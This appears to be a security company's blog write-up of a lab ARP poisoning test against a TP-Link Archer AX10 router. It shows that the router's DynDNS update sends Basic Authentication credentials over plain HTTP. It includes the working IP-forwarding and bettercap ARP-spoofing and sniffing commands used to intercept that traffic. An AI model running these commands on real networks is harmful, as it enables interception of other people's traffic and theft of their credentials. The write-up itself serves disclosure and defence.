Abstract
In this blog, I document a real-world attack simulation where I exploited Address Resolution Protocol (ARP) poisoning to intercept credentials transmitted insecurely over HTTP. The target network used Basic Authentication with Base64-encoded credentials, exposing a critical vulnerability tied to cleartext transmission of sensitive data (CWE-319). This exercise underscores the risks of legacy authentication methods and unencrypted communication channels. Below, I dissect the attack methodology.
Target:
- Device: TP-Link AX1500
- Firmware: TP-Link Archer AX10 – 1.3.10 Build (20240130)
I have picked this device as it is a popular, low end router that is sold at Office Works and various other IT & Office supply stores. I have updated the device to the latest firmware before testing anything.
1. The Anatomy of ARP Poisoning
What is ARP?
The Address Resolution Protocol (ARP) maps IP addresses to MAC addresses within a local network. Devices use ARP broadcasts to resolve IPs, trusting responses without verification.
The Vulnerability
ARP lacks authentication, allowing attackers to send spoofed replies to associate their MAC address with a legitimate IP (e.g., the router). This redirects traffic through the attacker’s machine, enabling Man-in-the-Middle (MITM) attacks.
Tools of the Trade
- Bettercap: For ARP spoofing and traffic interception.
- Wireshark: To capture and analyze network packets.
2. Executing the Attack: Step-by-Step Breakdown
Lab Setup
- Attacker Machine: Linux (IP: 10.0.0.20)
- Target Device: 10.0.0.11
Step 1: Enable IP Forwarding
Ensure the attacker’s machine forwards traffic to avoid disrupting the network:
#!/bin/bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables –policy FORWARD ACCEPT
sysctl -p
bettercap -iface eth0
net.sniff on
I have identified the target router by mac address.
I will now perform arp poisoning on the target to intercept traffic going to and from the router.
set arp.spoof.targets 10.0.0.11
arp.spoof on
The TP-Link router will check with DynDNS if the current IP of the router matches the external hostname in this case intrix.ath.cx at specific intervals or on reboot.
When inspecting this request I found it is made over http.
3. Understanding the Vulnerability
CWE-319: Cleartext Transmission of Sensitive Information
The attack exploits the lack of encryption in HTTP, transmitting credentials as easily decodable Base64. This violates CWE-319, a weakness where sensitive data is sent in cleartext.
4. Conclusion
This exercise highlights the fragility of outdated authentication mechanisms and unencrypted protocols. Organizations must prioritize modern security practices, such as mandatory HTTPS and Zero Trust architectures, to mitigate such risks.
To learn more about how we integrate best practice cyber security measures with business strategies to keep your IT systems secure and your data safe – get in touch with us
